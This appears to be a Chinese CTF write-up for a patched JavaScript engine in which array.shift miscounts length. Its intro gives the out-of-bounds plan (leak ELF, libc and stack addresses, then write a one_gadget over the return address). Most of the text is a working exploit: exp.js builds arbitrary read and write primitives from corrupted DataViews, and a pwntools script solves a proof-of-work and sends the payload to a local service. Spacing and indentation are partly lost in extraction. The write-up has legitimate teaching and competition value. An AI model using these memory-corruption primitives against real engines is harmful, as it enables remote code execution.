解题过程
本题将 array.shift 进行了 patch ,每一次 shift 会将 length 减 2 ,那么当 length 为 1 的时候进行一次 shift 便可以得到一个 oob array ,之后便是常规的思路:
leak elf_base -> leak libc_base -> leak stack_base -> write ret_addr to one_gadget
编辑exp.js。
function printhex(s,u){print(s,"0x"+ u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));}function hex(i){return"0x"+ i.toString(16).padStart(16, '0');}function pack64(u){return u[0] + u[1] * 0x100000000;}function l32(data){let result = 0;for(let i=0;i<4;i++){result <<= 8;result |= data & 0xff;data >>= 8;}return result;}a = [1.1];a.shift();var ab = newArrayBuffer(0x1337);var dv = newDataView(ab);var ab2 = newArrayBuffer(0x2338);var dv2 = newDataView(ab2);for(let i = 0; i < 0x90; i++){dv2 = newDataView(ab2);}a[0x193] = 0xffff;print("[+]change ab range");a[0x32] = 0xdead;for(let i = 0; i < 100000000; i ++){}var idx = 0;for(let i = 0; i < 0x5000; i++){let v = dv.getUint32(i, 1);if(v == 0x2338){idx = i;}}print("Get idx!");function arb_read(addr){dv.setUint32(idx + 4, l32(addr[0]));dv.setUint32(idx + 8, l32(addr[1]));let result = newUint32Array(2);result[0] = dv2.getUint32(0, 1)result[1] = dv2.getUint32(4, 1);return result;}function arb_write(addr,val){dv.setUint32(idx + 4, l32(addr[0]));dv.setUint32(idx + 8, l32(addr[1]));dv2.setUint32(0, l32(val[0]));dv2.setUint32(4, l32(val[1]));}var u = newUint32Array(2);u[0] = dv.getUint32(idx + 4, 1);u[1] = dv.getUint32(idx + 8, 1);print(hex(pack64(u)));var elf_base = newUint32Array(2);elf_base[0] = u[0] - 0x6f5e0;elf_base[1] = u[1];printhex("elf_base:",elf_base);var free_got = newUint32Array(2);free_got[0] = elf_base[0] + 0x6bdd0;free_got[1] = elf_base[1];printhex("free_got:",free_got);var libc_base = arb_read(free_got);libc_base[0] -= 0x9d850;printhex("libc_base:",libc_base);var environ_addr = newUint32Array(2);environ_addr[0] = libc_base[0] + 0x1ef2d0;environ_addr[1] = libc_base[1];printhex("environ_addr:",environ_addr);var stack_addr = arb_read(environ_addr);printhex("stack_addr:",stack_addr);var one_gadget = newUint32Array(2);one_gadget[0] = (libc_base[0] + 0xe6c7e);one_gadget[1] = libc_base[1];printhex("one_gadget:",one_gadget);stack_addr[0] -= 0x118;arb_write(stack_addr,one_gadget);var zero = newUint32Array(2);zero[0] = 0;zero[1] = 0;printhex("zero:",zero);stack_addr[0] -= 0x29;arb_write(stack_addr,zero);print("finish");for(let i = 0; i < 100000000; i ++){}
编辑exp。
#!/usr/bin/env python
importstring
from pwn import*
from hashlib import sha256
context.log_level = "debug"
dic = string.ascii_letters + string.digits
DEBUG = 0
def solvePow(prefix,h):
for a1 in dic:
for a2 in dic:
for a3 in dic:
for a4 in dic:
x = a1 + a2 + a3 + a4
proof = x + prefix.decode("utf-8")
_hexdigest = sha256(proof.encode()).hexdigest()
if _hexdigest == h.decode("utf-8"):
return x
r = remote("127.0.0.1",9998)
r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)
data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
if i == "":
continue
r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")
r.interactive()
